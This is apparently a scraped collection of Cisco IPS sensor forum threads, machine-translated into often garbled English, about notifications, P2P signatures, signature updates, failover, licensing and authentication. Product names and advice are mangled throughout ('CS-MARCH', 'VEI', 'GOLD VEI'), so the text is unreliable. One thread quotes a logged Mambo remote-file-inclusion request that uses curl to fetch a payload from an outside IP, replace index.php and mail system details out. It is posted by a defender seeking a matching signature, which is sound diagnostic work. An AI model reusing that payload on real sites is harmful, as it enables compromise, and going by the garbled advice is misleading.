CISOC IPS sensor 5.1

Similar Questions

• IPS sensor - Event Notification by e-mail?

  Good day to all.

  I was asked to recreate some features after he lost the customer improved VMS to the CSM but without CS-MARCH or any other event monitor. The user has had the system to generate an email when an event was triggered. He was apparently noisy initially but after setting wasn't a bad solution. No one knows how he was initially put in place but I can only assume it is the method that is described in the Cisco document to: http://www.cisco.com/en/US/customer/products/hw/vpndevc/ps4077/products_configuration_example09186a00801fc770.shtml#fivesensor

  Now, however, since the CSM has not received the event data is it possible to recreate this process of "notification"?

  Are using CSM 3.02 and the sensors are still at 5.14. The sensors will be updated to 5.17 later today. I will then either be upgrading the client to the latest revisions and service to CSM or rolling packs to the VMS depending on whether I can get notifications to work with MSC.

  NOTE: They order a CS-MARS appliance with the conviction that it will solve the problem, but as the last word, it will be several months at least before they could get it. I'm afraid that CS-MARS will NOT give back them this feature. Can you confirm/deny?

  Finally - CSM does not include a security monitor, as did virtual machines, and CS-MARS not really recreate that kind of view or the management of the events - what solutions are there to reproduce the functionality of the Security Monitor? Are there? Is-CS-MARS the new bully on the block?

  Since the client is to stay at a 5.1 version, then you have 3 options:

  1) down to virtual machines and continue to use the Security Monitor

  2) stay with the CSM and buy CS-MARCH for the monitoring of events. CS-MARS should provide the ability to e-mail notification.

  3) stay with the CSM and installing and using VEI 5.2 (1).

  VEI 5.2 (1) can be installed either on a separate machine from the CSM as a stand-alone utility:

  http://www.Cisco.com/cgi-bin/tablebuild.pl/IPS-EV

  VEI 5.2 (1) contains the new alerts e-mail notification feature.

  GOLD VEI 5.2 (1) can be installed as part of the installation of CSM (I know it's in the CSM 3.1, but don't know about previous versions of CSM).

  Here are a few documents on the execution of the IEV 5.2 (1) in the CSM framework:

  http://www.Cisco.com/en/us/partner/docs/security/security_management/cisco_security_manager/security_manager/3.1/user/guide/monidiag.html#wp1203768

  NOTE: VEI 5.2 (1) is targeted for use in networks with sensors of 5 or less. When running with 5 sensors or more, then CS-MARS would be the veiwer advised.

  When the user later upgraded to version 6.x, then option 1 (downgrading to virtual machines) is no longer an option and option 2 or 3 would be required.

• Filtering by IPS sensor P2P programs

  Hello

  I tried to stop P2P programs by activating all the signatures of P2P. Some programs have been arrested as Kaza, but maybe other programs like lime-wire and others were still working. I tried to change the signatures to add regex ports for it but I couldn't find any information on this program. can someone help me with this question.

  Thank you.

  You can get help from the built-in regex ASA firewall and try to add them in IPS. Also looking at the definitions of the opensource snort signature what IPS can also help.

  See the race all regex (for the SAA)

  Concerning

  Farrukh

• IPS sensor report an event showing source ip 10.5.5.5 victim ip 0.0.0.0 - is 0.0.0.0 means a show?

  We have an internal node in the environment and our IPS is contagious in the case of newspapers indicating that he sends traffic to ip 0.0.0.0 victim.  I guess 0.0.0.0 means a show, is that OK?

  No, 0.0.0.0 is used as the summary address. If the signature was a port scan, for example, the IP addresses of victim may be too numerous to list, so Cisco uses the 0.0.0.0 address to indicate that is summed up several addresses in this field.

  -Bob

• Upgrade version of CISCO IPS signature

  Hi guys:

  Anyone know the process for updating the signature on a CISCO IPS version, I want to do it manually. If somedoy can tell me the orders and all I have to do this.

  Concerning

  Luis;

  Updats manual signature for Cisco IPS sensors can be performed from the CLI as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/CLI/cli_system_images.html#wp1142504

  Or from the interface of the IDM as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/IDM/idm_sensor_management.html#wp2126670

  This process is also used to upgrade software base of the probe.

  Scott

• Module of IPS ASA 5505 Cisco ASA-SSC-AIP-5 Auto Update

  Automatic update no longer work after November 14, 2014

  Cisco Intrusion Prevention System, Version 5,0000 E4, SSC-AIP-5

  Error: automatic update has selected a package ([https:[email protected] / * *///swc/esd/11/273556262/guest/IPS-sig-S838-req-E4.pkg) to the cisco.com Locator service, however, the package download failed: the host is not approved. Add TLS certificates approved of the host system.

  Automatic update can work without problem until November 14, 2014.

  I've added welcomes guests of tls trust

  # tls trust-facilitators
  72.163.4.161
  72.163.7.60

  Always faced with the same question

  Understand the Signature Update feature works automatic Cisco IPS

  http://www.Cisco.com/c/en/us/support/docs/security/IPS-sensor-software-version-71/113674-IPS-automatic-signature-update-00.html

  SPI uses the file transfer

  protocol defined in the file download data learned in the server manifest URL (currently using HTTP

  TCP (80)).

  The problem I see is that earlier before 14 nov it fetch the file signature with HTTP (works fine)

  but now, he's trying with HTTPS instead.

  A single session against 72.163.4.161 (have always been the HTTPS)

  A single session against 72.163.7.60, previous HTTP now it uses the HTTPS protocol

  Does anyone have a solution?

  fix.

  the problem with the location service should be set right now and you can continue to use the auto-update http

• PHP exploit triggers Cisco Security Agent but NOT at Cisco IPS... why?

  Does anyone know what signing this feat should trigger with the Cisco IPS sensor? You are not sure if there is one, or if we turned it off?

  We see this feat hit our Exchange servers several times during the week.

  The process of "C:\WINNT\System32\inetsrv\inetinfo.exe" (as user NT AUTHORITY\SYSTEM) received the data ' / index2.php? option = com_content & do_pdf = 1 & id = 1index2.php? _REQUEST [option] = com_content & _REQUEST [Itemid] = 1 & GLOBALS = & mosConfig_absolute_path =http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http: / / 220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_66. 224.194.188%[email protected] / * /; uname%20-a%20|%20Mail%20-s%20uname_i2_66.224.194.188%[email protected] / * /. com; echo |'.

  I think that this could be the exploit of mambo. See http://www.securityfocus.com/archive/1/archive/1/427196/100/0/threaded for the info. I searched on mambo MySDN and found GIS 5163 "Mambo Site Server Administration Password ByPass" here is a snippet of the description: "administrative access is acquired by sending a specific url using the index2.php script and the PHPSESSID variable." This looks like what you pasted. Note "index2.php". Your IPS can not seen this so it was more than 443.

  Hope this helps

  M

• What is - this way in Cisco IPS: WARNING: multistring - second generation of table of scene has also led to a split in the table

  I received a warning message these past by updating my IPS sensor to the latest IPS 797 signature,.

  WARNING: Multistring - second generation of table of scene has also led to a split in the table

  Someone at - it an answer for this?

  Hi Carole T

  I think that is related to the CSCua12751 bug, can you please check the version of your software and upgrade to the recommended versions.

• without the license key can we get all the features of the ips

  Hi all I have a sensor ips 4215. I don't have the installed license key is to have the 5.0.1 image inside. Thus, it comes with the default signature. I want to know I will get all the features of IP 4215 even without the license key. can u pls someone help me with that.

  concerning

  Assane

  Yes, you will get all the features of IPS sensor - its fully functional devices, you don't only have latest signatures (against the latest attacks - but anyway IPS uses also heuristic analysis to detect attacks)... and 5.0.1 contains a lot of signatures in order to have the right IPS device

  Signatures can be downloaded from EAC, if you smartnet - location even agreement as with IOS... :))

  M.

  Hope that helps the rate

• IPS cannot IP packet

  I have a JOINT-2 version 6.1.1 E2 GIS 353. The IPS is running in promiscuous mode. The IPS is alarming on impossible IP packets. To draw on the culprit, I decided to connect the pair of package with the hope that layer 2 information would help to guide the way. When I examined the packets with Wireshark, IP address information showed different IP source and destination addresses. The package seems to be normal.

  Any ideas why the IPS reported different data of Wireshark?

  I have several Cisco IPS sensors on this same version (6.1.1 S353 E2). This device is the only one who reported this type of error.

  There is a known bug CSCsr49100.

  There is a bug in the code of Fragmentation go back / normalizer that can result in a false positive for the signing of packages IP failed to 1102.

  http://Tools.Cisco.com/support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsr49100

  Cisco is aware of the problem and is trying to fix the problem. (Fix is not yet published)

  By using the link above, you can periodically check the State of the question. When a version is released with fixes a "Fixed in" field appears on the right side of the screen just below of the "1st found in" versions. Then, you will need to upgrade to this version, once it is released.

• IPS Tuning - example Windows SMTP overflow 5561

  I sent recently a few IPS sensors. The sensor alarmed on GIS 5561/0 (Windows SMTP overflow).

  http://Tools.Cisco.com/Security/Center/viewIpsSignature.x?signatureId=5561&signatureSubId=0&softwareVersion=6.0&releaseVersion=S339

  From the link, the signature has been updated in June 2008. The AEC is dated 2004, and Microsoft has released patches in 2004. Why Cisco updates the signatures for old vulnerabilities in 4 years?

  This last version/update is a new vulnerability?

  It was not a new vulnerability. Signature update published in S339 coincides with the release of engine E2. 5561 0 is a signature of meta-engine and the "update" that has been done to the S339 went out to explicitly assign a flag "all required components.

  Any change that modifies the XML signature causes a review/implementation to date.

  Hope that helps.

• IPS 4260 failover

  Active passive failover support. And can you just use a sensor set fail open?

  It not statefull failover for Cisco IPS sensors. You can set the sensors do not open, but only the 4260 has a capacity of hardware logon failure. This means that other sensors must fail in such a way that they KNOW that they have failed to move traffic around the sensor. According to my experience, this isn't a reasonable assumption to make and you would be better maintained do another failure of opening with a switch of eaternal arraingements.

• NAC Vs IPS/IDS

  Hi all

  One of the clients has secured several locations. Each location has its own Internet access. Hand and DR data centers had ASA5510. Remote users use connections IPSEC RA and Citrix (ms principal then road to internal n/w). What is the best solution... NAC or IDS/IPS for security?  My guess is, with many internet, client access points may have to opt for the solution at each location. Also, is there any document that explains the differences between the NAC Vs IDS/IPS?

  TIA

  MS

  I always place the IPS sensor inside the firewall. In this way, just to inspect the traffic that gives thanks to the firewall policy and the sensor generates alerts will be most valuable in terms of actual intrustions, that you should be aware.

  If the traffic passing thought your DS3 router is encrypted in a VPN tunnel, a router based IPS will not be able to inspect traffic within the VPN.

  You will need to inspect, once it has been deciphered. This could be done in the ASAs or with a sensor of the external device, like a 4240.

  -Bob

• IPS Failover online

  Hello

  I want online proposed IPS in a network, but have as ASA failover option. If an IPS has failed, then the entire network down then what to do.

  So what I take work decession IPS in promicious mode. Pls can expect good suggation.

  Concerning

  Handsome

  Unfortunately there is no mechanism for failover for IPS sensors.  You can configure the sensor to fail open so that if the IPS Engine don't traffic will bypass inspection and continue to pour in.

• Centralized authentication (IAS/Radius) in IDS/IPS 4260

  All,

  I was in charge of configuring authentication centralized via IAS for all IPS/IDS devices in the enterprise.  After much invest I'm pretty sure that my goal is not available due to the limitations of the device.  However, I'm still not sure at 100%.  My questions are:

  1 is anyone can provide a link or any documentation showing permanently the IPS 4260 supports Radius IAS authentication?

  a. If no, what would be a suitable alternative? CSM, etc.. ?

  Cisco IPS sensors do not currently support authenticated access to the outside.  They can't stand

  assignment of authentication and the role of user/password local name.

  Scott